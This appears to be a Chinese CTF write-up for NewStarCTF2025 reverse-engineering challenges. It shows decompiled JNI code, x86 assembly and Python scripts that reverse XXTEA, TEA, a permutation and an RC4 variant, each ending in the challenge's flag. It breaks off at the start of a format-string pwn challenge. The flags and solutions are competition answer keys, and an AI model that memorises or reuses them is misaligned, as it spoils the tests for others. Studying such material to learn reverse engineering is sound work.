1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package work.pangbai.ohnativeenc;import android.content.DialogInterface;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;import android.view.View;import androidx.appcompat.app.AppCompatActivity;import androidx.navigation.NavController;import androidx.navigation.Navigation;import androidx.navigation.ui.AppBarConfiguration;import androidx.navigation.ui.NavigationUI;import com.google.android.material.dialog.MaterialAlertDialogBuilder;import com.google.android.material.snackbar.Snackbar;import work.pangbai.ohnativeenc.databinding.ActivityMainBinding;public class MainActivity extends AppCompatActivity { private AppBarConfiguration appBarConfiguration; private ActivityMainBinding binding; @Override protected void onCreate (Bundle bundle) { super .onCreate(bundle); ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater()); this .binding = inflate; setContentView(inflate.getRoot()); setSupportActionBar(this .binding.toolbar); NavController findNavController = Navigation.findNavController(this , R.id.nav_host_fragment_content_main); AppBarConfiguration build = new AppBarConfiguration .Builder(findNavController.getGraph()).build(); this .appBarConfiguration = build; NavigationUI.setupActionBarWithNavController(this , findNavController, build); this .binding.fab.setOnClickListener(new View .OnClickListener() { @Override public void onClick (View view) { Snackbar.make(view, "喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗" , 0 ).setAnchorView(R.id.fab).setAction("Action" , (View.OnClickListener) null ).show(); } }); } @Override public boolean onCreateOptionsMenu (Menu menu) { getMenuInflater().inflate(R.menu.menu_main, menu); return true ; } @Override public boolean onOptionsItemSelected (MenuItem menuItem) { if (menuItem.getItemId() == R.id.action_settings) { new MaterialAlertDialogBuilder (this ).setTitle((CharSequence) "NewStarCTF2025" ).setMessage((CharSequence) "欢迎参加 NewStarCTF2025,你需要解出类似于 flag{} 的文本,并在比赛平台提交" ).setPositiveButton((CharSequence) "OK" , (DialogInterface.OnClickListener) null ).create().show(); return true ; } return super .onOptionsItemSelected(menuItem); } @Override public boolean onSupportNavigateUp () { return NavigationUI.navigateUp(Navigation.findNavController(this , R.id.nav_host_fragment_content_main), this .appBarConfiguration) || super .onSupportNavigateUp(); } }
里面提到 喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗
,把 so 文件导出来用 IDA 打开分析,加密过程在 Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag
函数里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 char __fastcall Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag (__int64 a1, __int64 a2, __int64 a3) { const char *src; unsigned int v4; unsigned int v5; unsigned int v6; unsigned int v7; unsigned int v8; unsigned int v9; unsigned int v10; unsigned int v11; unsigned int i; __int64 v13; int v14; char v15; __int64 n29; unsigned __int64 n0x1F; bool v18; bool v19; unsigned int v21; char dest[16 ]; __int128 v23; unsigned __int64 v24; v24 = __readfsqword(0x28u ); src = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL ))(a1, a3, 0 ); __android_log_print(4 , "native" , "input:%s" , src); v23 = 0 ; *(_OWORD *)dest = 0 ; strncpy (dest, src, 0x20u ); v4 = HIDWORD(v23); v5 = *(_DWORD *)dest; v6 = *(_DWORD *)&dest[4 ]; v7 = *(_DWORD *)&dest[12 ]; v8 = v23; v9 = DWORD1(v23); v10 = DWORD2(v23); v11 = *(_DWORD *)&dest[8 ]; for ( i = 114514 ; i != 1488682 ; i += 114514 ) { v21 = v8; v13 = (i >> 2 ) & 3 ; v14 = *(_DWORD *)&aThisisaxxteake[4 * v13]; v5 += (((v4 >> 5 ) ^ (4 * v6)) + ((v6 >> 3 ) ^ (16 * v4))) ^ ((i ^ v6) + (v14 ^ v4)); v6 += (((v5 >> 5 ) ^ (4 * v11)) + ((v11 >> 3 ) ^ (16 * v5))) ^ ((i ^ v11) + (v5 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2 ) & 3 ^ 1 )])); v11 += (((v6 >> 5 ) ^ (4 * v7)) + ((v7 >> 3 ) ^ (16 * v6))) ^ ((i ^ v7) + (v6 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2 ) & 3 ^ 2 )])); v7 += (((v11 >> 5 ) ^ (4 * v21)) + ((v21 >> 3 ) ^ (16 * v11))) ^ ((i ^ v21) + (v11 ^ *(_DWORD *)&aThisisaxxteake[4 * ((unsigned int )v13 ^ 3 )])); v8 = v21 + ((((v7 >> 5 ) ^ (4 * v9)) + ((v9 >> 3 ) ^ (16 * v7))) ^ ((i ^ v9) + (v7 ^ v14))); v9 += (((v8 >> 5 ) ^ (4 * v10)) + ((v10 >> 3 ) ^ (16 * v8))) ^ ((i ^ v10) + (v8 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2 ) & 3 ^ 1 )])); v10 += (((v9 >> 5 ) ^ (4 * v4)) + ((v4 >> 3 ) ^ (16 * v9))) ^ ((i ^ v4) + (v9 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2 ) & 3 ^ 2 )])); v4 += (((v10 >> 5 ) ^ (4 * v5)) + ((v5 >> 3 ) ^ (16 * v10))) ^ ((i ^ v5) + (v10 ^ *(_DWORD *)&aThisisaxxteake[4 * ((unsigned int )v13 ^ 3 )])); } *(_DWORD *)dest = v5; *(_DWORD *)&dest[4 ] = v6; *(_DWORD *)&dest[8 ] = v11; *(_DWORD *)&dest[12 ] = v7; *(_QWORD *)&v23 = __PAIR64__(v9, v8); *((_QWORD *)&v23 + 1 ) = __PAIR64__(v4, v10); v15 = 1 ; if ( (_BYTE)v5 == mm[0 ] ) { n29 = -1 ; while ( 1 ) { if ( dest[n29 + 2 ] != mm[n29 + 2 ] ) return v15 ^ 1 ; if ( n29 == 29 ) break ; n0x1F = n29 + 2 ; v18 = dest[n29 + 3 ] == mm[n29 + 3 ]; n29 += 2 ; if ( !v18 ) { v19 = n0x1F < 0x1F ; LABEL_10: v15 = v19; return v15 ^ 1 ; } } v19 = 0 ; goto LABEL_10; } return v15 ^ 1 ; }
这是 FirstFragment 类中的一个 JNI 函数,名为 checkFlag,它的作用就是接收输入并加密,最后与一个预设的正确结果进行比较
先找到两个关键变量:
1 2 .rodata:0000000000000670 aThisisaxxteake db 'ThisIsAXXteaKey',0 ; DATA XREF: Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag+F8↓o .rodata:0000000000000670 _rodata ends
1 2 3 4 5 6 .data:0000000000003080 mm db 0B6h, 53h, 6Eh, 4Dh, 77h, 5Dh, 8, 0D2h, 0FBh, 2Ch, 63h .data:0000000000003080 ; DATA XREF: LOAD:00000000000000F8↑o .data:0000000000003080 ; LOAD:0000000000000408↑o ... .data:000000000000308B db 1Eh, 0BBh, 7Bh, 1, 9Bh, 0F5h, 4, 6Ah, 0F4h, 0Eh, 84h .data:0000000000003096 db 27h, 47h, 64h, 0A1h, 0E4h, 0D9h, 0EFh, 12h, 44h, 37h .data:0000000000003096 _data ends
然后丢给 AI 写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import structdef decrypt (v_orig, key ): v = list (v_orig) delta = 114514 for i in range (12 , 0 , -1 ): sum_val = i * delta e = (sum_val >> 2 ) & 3 k0 = key[e ^ 0 ] k1 = key[e ^ 1 ] k2 = key[e ^ 2 ] k3 = key[e ^ 3 ] v5_new, v6_new, v11_new, v7_new, v8_new, v9_new, v10_new, v4_new = v term = ((((v10_new >> 5 ) ^ (v5_new << 2 )) + ((v5_new >> 3 ) ^ (v10_new << 4 ))) ^ ((sum_val ^ v5_new) + (k3 ^ v10_new))) v4_old = (v4_new - term) & 0xFFFFFFFF term = ((((v9_new >> 5 ) ^ (v4_old << 2 )) + ((v4_old >> 3 ) ^ (v9_new << 4 ))) ^ ((sum_val ^ v4_old) + (k2 ^ v9_new))) v10_old = (v10_new - term) & 0xFFFFFFFF term = ((((v8_new >> 5 ) ^ (v10_old << 2 )) + ((v10_old >> 3 ) ^ (v8_new << 4 ))) ^ ((sum_val ^ v10_old) + (k1 ^ v8_new))) v9_old = (v9_new - term) & 0xFFFFFFFF term = ((((v7_new >> 5 ) ^ (v9_old << 2 )) + ((v9_old >> 3 ) ^ (v7_new << 4 ))) ^ ((sum_val ^ v9_old) + (k0 ^ v7_new))) v8_old = (v8_new - term) & 0xFFFFFFFF term = ((((v11_new >> 5 ) ^ (v8_old << 2 )) + ((v8_old >> 3 ) ^ (v11_new << 4 ))) ^ ((sum_val ^ v8_old) + (k3 ^ v11_new))) v7_old = (v7_new - term) & 0xFFFFFFFF term = ((((v6_new >> 5 ) ^ (v7_old << 2 )) + ((v7_old >> 3 ) ^ (v6_new << 4 ))) ^ ((sum_val ^ v7_old) + (k2 ^ v6_new))) v11_old = (v11_new - term) & 0xFFFFFFFF term = ((((v5_new >> 5 ) ^ (v11_old << 2 )) + ((v11_old >> 3 ) ^ (v5_new << 4 ))) ^ ((sum_val ^ v11_old) + (k1 ^ v5_new))) v6_old = (v6_new - term) & 0xFFFFFFFF term = ((((v4_old >> 5 ) ^ (v6_old << 2 )) + ((v6_old >> 3 ) ^ (v4_old << 4 ))) ^ ((sum_val ^ v6_old) + (k0 ^ v4_old))) v5_old = (v5_new - term) & 0xFFFFFFFF v = [v5_old, v6_old, v11_old, v7_old, v8_old, v9_old, v10_old, v4_old] return v key_str = b'ThisIsAXXteaKey\0' key = list (struct.unpack('<4I' , key_str)) mm_bytes = bytes ([ 0xB6 , 0x53 , 0x6E , 0x4D , 0x77 , 0x5D , 0x08 , 0xD2 , 0xFB , 0x2C , 0x63 , 0x1E , 0xBB , 0x7B , 0x01 , 0x9B , 0xF5 , 0x04 , 0x6A , 0xF4 , 0x0E , 0x84 , 0x27 , 0x47 , 0x64 , 0xA1 , 0xE4 , 0xD9 , 0xEF , 0x12 , 0x44 , 0x37 ]) v_encrypted = list (struct.unpack('<8I' , mm_bytes)) decrypted_data = decrypt(v_encrypted, key) flag = b"" for d in decrypted_data: flag += struct.pack('<I' , d) print (flag.decode('utf-8' ).strip('\x00' ))
FLAG 1 flag{Ur_G00d_@_n@tive_Func}
Forgotten_Code Challenge
在清理一台古老服务器的硬盘时,我们发现了这个来自旧时代的编程遗迹。当时的开发者喜欢与机器直接对话。我们很难直接解读它,但也许你能重新整理这份文件,让你手上的工具再次发挥作用……
【难度:中等】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 .file "chal.cpp" .intel_syntax noprefix .text .section .text$_Z5scanfPKcz,"x" .linkonce discard .globl _Z5scanfPKcz .def _Z5scanfPKcz; .scl 2; .type 32; .endef .seh_proc _Z5scanfPKcz _Z5scanfPKcz: .LFB39: push rbp .seh_pushreg rbp push rbx .seh_pushreg rbx sub rsp, 56 .seh_stackalloc 56 lea rbp, 48[rsp] .seh_setframe rbp, 48 .seh_endprologue mov QWORD PTR 32[rbp], rcx mov QWORD PTR 40[rbp], rdx mov QWORD PTR 48[rbp], r8 mov QWORD PTR 56[rbp], r9 lea rax, 40[rbp] mov QWORD PTR -16[rbp], rax mov rbx, QWORD PTR -16[rbp] mov ecx, 0 mov rax, QWORD PTR __imp___acrt_iob_func[rip] call rax mov rcx, rax mov rax, QWORD PTR 32[rbp] mov r8, rbx mov rdx, rax call __mingw_vfscanf mov DWORD PTR -4[rbp], eax mov eax, DWORD PTR -4[rbp] add rsp, 56 pop rbx pop rbp ret .seh_endproc .section .text$_Z6printfPKcz,"x" .linkonce discard .globl _Z6printfPKcz .def _Z6printfPKcz; .scl 2; .type 32; .endef .seh_proc _Z6printfPKcz _Z6printfPKcz: .LFB45: push rbp .seh_pushreg rbp push rbx .seh_pushreg rbx sub rsp, 56 .seh_stackalloc 56 lea rbp, 48[rsp] .seh_setframe rbp, 48 .seh_endprologue mov QWORD PTR 32[rbp], rcx mov QWORD PTR 40[rbp], rdx mov QWORD PTR 48[rbp], r8 mov QWORD PTR 56[rbp], r9 lea rax, 40[rbp] mov QWORD PTR -16[rbp], rax mov rbx, QWORD PTR -16[rbp] mov ecx, 1 mov rax, QWORD PTR __imp___acrt_iob_func[rip] call rax mov rcx, rax mov rax, QWORD PTR 32[rbp] mov r8, rbx mov rdx, rax call __mingw_vfprintf mov DWORD PTR -4[rbp], eax mov eax, DWORD PTR -4[rbp] add rsp, 56 pop rbx pop rbp ret .seh_endproc .globl ng .data .align 16 ng: .ascii "sp\177vuctp|xeb|hv~" .globl ezgm .align 32 ezgm: .long 1210405119 .long 710975774 .long -90350153 .long -1958008304 .long -745722482 .long 67707510 .long -86515270 .long -1728462407 .text .globl _Z2fnPj .def _Z2fnPj; .scl 2; .type 32; .endef .seh_proc _Z2fnPj _Z2fnPj: .LFB188: push rbp .seh_pushreg rbp mov rbp, rsp .seh_setframe rbp, 0 sub rsp, 48 .seh_stackalloc 48 .seh_endprologue mov QWORD PTR 16[rbp], rcx mov DWORD PTR -4[rbp], 0 jmp .L6 .L7: mov eax, DWORD PTR -4[rbp] cdqe lea rdx, ng[rip] movzx eax, BYTE PTR [rax+rdx] xor eax, 17 mov edx, DWORD PTR -4[rbp] movsx rdx, edx lea rcx, ng[rip] mov BYTE PTR [rdx+rcx], al add DWORD PTR -4[rbp], 1 .L6: cmp DWORD PTR -4[rbp], 15 jle .L7 mov rax, QWORD PTR 16[rbp] mov eax, DWORD PTR [rax] mov DWORD PTR -8[rbp], eax mov rax, QWORD PTR 16[rbp] mov eax, DWORD PTR 4[rax] mov DWORD PTR -12[rbp], eax mov DWORD PTR -16[rbp], 0 mov DWORD PTR -24[rbp], -1640531527 mov DWORD PTR -20[rbp], 0 jmp .L8 .L9: lea rax, ng[rip] mov eax, DWORD PTR [rax] mov DWORD PTR -28[rbp], eax mov eax, DWORD PTR ng[rip+4] mov DWORD PTR -32[rbp], eax mov eax, DWORD PTR ng[rip+8] mov DWORD PTR -36[rbp], eax mov eax, DWORD PTR ng[rip+12] mov DWORD PTR -40[rbp], eax mov eax, DWORD PTR -24[rbp] add DWORD PTR -16[rbp], eax mov eax, DWORD PTR -12[rbp] sal eax, 4 mov edx, eax mov eax, DWORD PTR -28[rbp] add edx, eax mov ecx, DWORD PTR -12[rbp] mov eax, DWORD PTR -16[rbp] add eax, ecx xor edx, eax mov eax, DWORD PTR -12[rbp] shr eax, 5 mov ecx, eax mov eax, DWORD PTR -32[rbp] add eax, ecx xor eax, edx add DWORD PTR -8[rbp], eax mov eax, DWORD PTR -8[rbp] sal eax, 4 mov edx, eax mov eax, DWORD PTR -36[rbp] add edx, eax mov ecx, DWORD PTR -8[rbp] mov eax, DWORD PTR -16[rbp] add eax, ecx xor edx, eax mov eax, DWORD PTR -8[rbp] shr eax, 5 mov ecx, eax mov eax, DWORD PTR -40[rbp] add eax, ecx xor eax, edx add DWORD PTR -12[rbp], eax add DWORD PTR -20[rbp], 1 .L8: cmp DWORD PTR -20[rbp], 31 jbe .L9 mov rax, QWORD PTR 16[rbp] mov edx, DWORD PTR -8[rbp] mov DWORD PTR [rax], edx mov rax, QWORD PTR 16[rbp] add rax, 4 mov edx, DWORD PTR -12[rbp] mov DWORD PTR [rax], edx nop add rsp, 48 pop rbp ret .seh_endproc .section .rdata,"dr" .LC0: .ascii "Input your flag: \0" .LC1: .ascii "%s\0" .LC2: .ascii "flag{\0" .LC3: .ascii "Wrong length!\12\0" .LC4: .ascii "Wrong flag!\12\0" .LC5: .ascii "Right!\12\0" .LC6: .ascii "Invalid flag format!\12\0" .text .globl main .def main; .scl 2; .type 32; .endef .seh_proc main main: .LFB189: push rbp .seh_pushreg rbp mov rbp, rsp .seh_setframe rbp, 0 sub rsp, 144 .seh_stackalloc 144 .seh_endprologue call __main lea rax, .LC0[rip] mov rcx, rax call _Z6printfPKcz lea rax, -112[rbp] lea rcx, .LC1[rip] mov rdx, rax call _Z5scanfPKcz lea rdx, .LC2[rip] lea rax, -112[rbp] mov r8d, 5 mov rcx, rax call strncmp test eax, eax jne .L11 lea rax, -112[rbp] mov rcx, rax call strlen sub rax, 1 movzx eax, BYTE PTR -112[rbp+rax] cmp al, 125 jne .L11 lea rax, -112[rbp] mov rcx, rax call strlen sub eax, 6 mov DWORD PTR -12[rbp], eax cmp DWORD PTR -12[rbp], 32 je .L12 lea rax, .LC3[rip] mov rcx, rax call _Z6printfPKcz mov eax, 0 jmp .L20 .L12: mov DWORD PTR -4[rbp], 0 jmp .L14 .L15: mov eax, DWORD PTR -4[rbp] sal eax, 3 cdqe lea rdx, 5[rax] lea rax, -112[rbp] add rax, rdx mov rcx, rax call _Z2fnPj add DWORD PTR -4[rbp], 1 .L14: mov eax, DWORD PTR -12[rbp] lea edx, 7[rax] test eax, eax cmovs eax, edx sar eax, 3 cmp DWORD PTR -4[rbp], eax jl .L15 mov DWORD PTR -8[rbp], 0 jmp .L16 .L18: mov eax, DWORD PTR -8[rbp] cdqe sal rax, 2 lea rdx, 5[rax] lea rax, -112[rbp] add rax, rdx mov ecx, DWORD PTR [rax] mov eax, DWORD PTR -8[rbp] cdqe lea rdx, 0[0+rax*4] lea rax, ezgm[rip] mov eax, DWORD PTR [rdx+rax] cmp ecx, eax je .L17 lea rax, .LC4[rip] mov rcx, rax call _Z6printfPKcz mov eax, 0 jmp .L20 .L17: add DWORD PTR -8[rbp], 1 .L16: mov eax, DWORD PTR -12[rbp] lea edx, 3[rax] test eax, eax cmovs eax, edx sar eax, 2 cmp DWORD PTR -8[rbp], eax jl .L18 lea rax, .LC5[rip] mov rcx, rax call _Z6printfPKcz jmp .L19 .L11: lea rax, .LC6[rip] mov rcx, rax call _Z6printfPKcz .L19: mov eax, 0 .L20: add rsp, 144 pop rbp ret .seh_endproc .def __main; .scl 2; .type 32; .endef .ident "GCC: (x86_64-posix-seh-rev0, Built by MinGW-Builds project) 15.1.0" .def __mingw_vfscanf; .scl 2; .type 32; .endef .def __mingw_vfprintf; .scl 2; .type 32; .endef .def strncmp; .scl 2; .type 32; .endef .def strlen; .scl 2; .type 32; .endef
Solution 1. 核心逻辑
输入验证: 程序要求输入 flag{...}
格式的字符串,其中 {}
内的内容必须为 32 字节。
分块加密: 程序将 {}
内的 32 字节数据分为 4 个 8 字节的块。
加密函数: 对每个块调用加密函数 _Z2fnPj
,是标准的 TEA 加密算法
结果比对: 将 4 个块加密后的 32 字节结果与全局数据 ezgm
进行比对
2. TEA 算法参数
密文 (Ciphertext) : 存储在 ezgm
数组中
密钥 (Key) : 密钥派生自全局变量 ng
(sp\x7fvuctp|xeb|hv~
)
3. 交替密钥
加密函数 _Z2fnPj
在每次被调用时都会执行以下操作:
读取全局变量 ng
的当前值
将其逐字节与 17
(0x11) 进行异或
将异或结果写回 ng
,覆盖其原始内容
使用这个新生成的值作为 TEA 密钥
由于 main
函数连续调用 _Z2fnPj
四次,导致 ng
的状态在两个值之间来回切换:
第 1、3 次调用 (处理块 0, 2) :
密钥为 sp\x7fvuctp|xeb|hv~
XOR 17
= bangdreamitsmygo
第 2、4 次调用 (处理块 1, 3) :
密钥为 bangdreamitsmygo
XOR 17
= sp\x7fvuctp|xeb|hv~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import structdef decrypt (v, k ): """TEA Decryption""" v0, v1 = v delta = 0x9E3779B9 k0, k1, k2, k3 = k sum_val = (delta * 32 ) & 0xFFFFFFFF for _ in range (32 ): v1 = (v1 - ((((v0 << 4 ) + k2) & 0xFFFFFFFF ) ^ ((v0 + sum_val) & 0xFFFFFFFF ) ^ (((v0 >> 5 ) + k3) & 0xFFFFFFFF ))) & 0xFFFFFFFF v0 = (v0 - ((((v1 << 4 ) + k0) & 0xFFFFFFFF ) ^ ((v1 + sum_val) & 0xFFFFFFFF ) ^ (((v1 >> 5 ) + k1) & 0xFFFFFFFF ))) & 0xFFFFFFFF sum_val = (sum_val - delta) & 0xFFFFFFFF return [v0, v1] ezgm_signed = [ 1210405119 , 710975774 , -90350153 , -1958008304 , -745722482 , 67707510 , -86515270 , -1728462407 ] ezgm_unsigned = list (struct.unpack('<8I' , struct.pack('<8i' , *ezgm_signed))) key1_bytes = b'bangdreamitsmygo' key2_bytes = b'sp\x7fvuctp|xeb|hv~' key1 = list (struct.unpack('<4I' , key1_bytes)) key2 = list (struct.unpack('<4I' , key2_bytes)) keys = [key1, key2] decrypted_bytes = b"" for i in range (4 ): current_key = keys[i % 2 ] block_index = i * 2 block = ezgm_unsigned[block_index : block_index + 2 ] decrypted_block = decrypt(block, current_key) decrypted_bytes += struct.pack('<2I' , *decrypted_block) flag_content = decrypted_bytes.decode('ascii' ) print (f"flag{{{flag_content} }}" )
FLAG 1 flag{4553m81y_5_s0o0o0_345y_jD5yQ5mD9}
Look at me carefully Challenge
真的需要仔细看吗?
【难度:中等】
Solution
输入长度验证
程序首先检查用户输入的字符串长度是否为 36:
1 if ( &v8[strlen (v8) + 1 ] - &v8[1 ] == 36 )
目标字符串与处理流程
程序定义了一个硬编码的目标字符串:
1 strcpy (cH4_1elo_ookte?0 dv__alafle___5yygume, "cH4_1elo{ookte?0dv_}alafle___5yygume" );
该字符串长度为 36,是验证时的期望结果。
随后,程序调用 sub_4016E0
函数 38 次,每次传入用户输入 v8
和一个固定的索引(如 27、5、6、9……)。虽然调用次数为 38,但最终仅前 36 字节参与比较
因此我们只需关注前 36 次有效调用中对应输入索引 < 36 的部分,提取这些索引得到处理顺序列表:
1 2 3 4 5 6 order = [ 27 , 5 , 6 , 9 , 28 , 18 , 32 , 29 , 4 , 11 , 15 , 17 , 22 , 8 , 34 , 16 , 19 , 7 , 26 , 35 , 2 , 14 , 21 , 0 , 1 , 25 , 13 , 23 , 20 , 30 , 33 , 10 , 3 , 12 , 24 , 31 ]
函数行为分析
sub_4016E0
的作用是将 v8[a3]
(即 flag 的第 a3
个字符)经过一系列运算后,写入 v6
的下一个空位置(由当前 v6
长度 v5
决定)
尽管函数内部包含复杂的混淆逻辑,但关键观察如下:
每次调用 sub_4016E0
时,v6
的当前长度 v5
等于调用次数(从 0 开始)
因此第 i
次调用(i
从 0 到 35)将结果写入 v6[i]
所有混淆操作(包括 sub_401300
对内存的修改)在整体流程中 不改变输入字符与输出字节之间的一一对应关系 ,因为:
混淆仅作用于 v6
和 v8
的前几个字节
但 sub_4016E0
每次处理的是 不同位置的输入字符
最终 v6
的每个字节仅由 对应索引的输入字符唯一决定
若假设 sub_4016E0
的净效果是恒等映射(即 v6[i] = v8[order[i]]
),则重建的 flag 具有合法格式和语义,说明该假设成立。即使存在异或等简单变换,由于目标字符串已知,且变换可逆,最终仍能通过排列还原。
逆向重建 flag
设目标字符串为:
1 T = "cH4_1elo{ookte?0dv_}alafle___5yygume"
根据处理顺序 order
,有:
1 2 3 4 v6[0] = f(order[0]) = f(27) → 应等于 T[0] = 'c' v6[1] = f(order[1]) = f(5) → 应等于 T[1] = 'H' ... v6[35] = f(order[35]) = f(31) → 应等于 T[35] = 'e'
因此 flag 的第 order[i]
个字符等于 T[i]
。
据此,初始化一个长度为 36 的字符数组 flag
,遍历 i = 0
到 35
:
逐位填充后得到:
1 2 索引: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 字符: f l a g { H 4 v e _ y o u _ l o 0 k e d _ a t _ m e _ c 1 o 5 e l y ? }
拼接后得到完整 flag:
1 flag{H4ve_you_lo0ked_at_me_c1o5ely?}
FLAG 1 flag{H4ve_you_lo0ked_at_me_c1o5ely?}
采一朵花,送给艾达(1) Challenge
哎呀我手动分析得了MVP
IDA反汇编不出来,躺赢狗
【难度:中等】
Solution 1. 关键逻辑定位
2. 期望数组 var_560 的构造来源
3. RC4 变体语义重建
rc4_init(两阶段):
填充状态 S:S[i] = (-i) & 0xFF
,i 从 0..255
KSA-like 置换(结合密钥):
j = (S[i] + j + key[i % key_len]) & 0xFF
交换:swap(S[i], S[j])
rc4_crypt(PRGA变体与输出规则):
每字节步进:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
swap(S[i], S[j])
t = (S[i] + S[j]) & 0xFF
k = S[t]
(当次密钥流字节)
输出规则(与输入相加):cipher[i] = plain[i] + k
(字节加法 mod 256)
因而解密为:plain[i] = (expected[i] - k) & 0xFF
4. 解密方法步骤
密钥固定为 "EasyJunkCodes"
;key_len 为该字符串长度
按 3. 的 rc4_init 与 rc4_crypt 语义生成 40 字节密钥流 keystream[0..39]
构造 expected[0..39]
:
先将 qword0、qword1 展开并拼为前 16 字节
再将后三个 QWORD 展开并拼为后 24 字节
逐字节计算明文:
flag[i] = (expected[i] - keystream[i]) & 0xFF
,i = 0..39
将所得字节按 ASCII 解码,即为最终输入字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import argparsekey = b"EasyJunkCodes" key_len = len (key) def rc4_setup_and_keystream (nbytes=40 ): S = [0 ] * 256 for i in range (256 ): S[i] = (-i) & 0xFF j = 0 for i in range (256 ): a = S[i] b = key[i % key_len] j = (a + j + b) & 0xFF S[i], S[j] = S[j], S[i] keystream = [] i = 0 j = 0 for _ in range (nbytes): i = (i + 1 ) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] t = (S[i] + S[j]) & 0xFF k = S[t] keystream.append(k) return keystream def qword_le_bytes (x ): return [(x >> (8 *k)) & 0xFF for k in range (8 )] def recover_flag (q0, q1 ): expected = ( qword_le_bytes(q0) + qword_le_bytes(q1) + qword_le_bytes(0xF2F082F69E2E0F4D ) + qword_le_bytes(0xE1278329086B51BC ) + qword_le_bytes(0x4E4F80B188C6BDCB ) ) ks = rc4_setup_and_keystream(40 ) plain = [(expected[i] - ks[i]) & 0xFF for i in range (40 )] return bytes (plain) if __name__ == "__main__" : parser = argparse.ArgumentParser() parser.add_argument("--qword0" , required=False , default="0x1175640343C17FC7" ) parser.add_argument("--qword1" , required=False , default="0xDF23C0F6558CB888" ) args = parser.parse_args() q0 = int (args.qword0, 16 ) q1 = int (args.qword1, 16 ) flag_bytes = recover_flag(q0, q1) print (flag_bytes.decode("ascii" , errors="replace" ))
FLAG 1 flag{Junk_C0d3s_4Re_345y_t0_rEc0gn1Ze!!}
Pwn 刻在栈里的秘密 Challenge
欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX…),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?
【难度:简单】
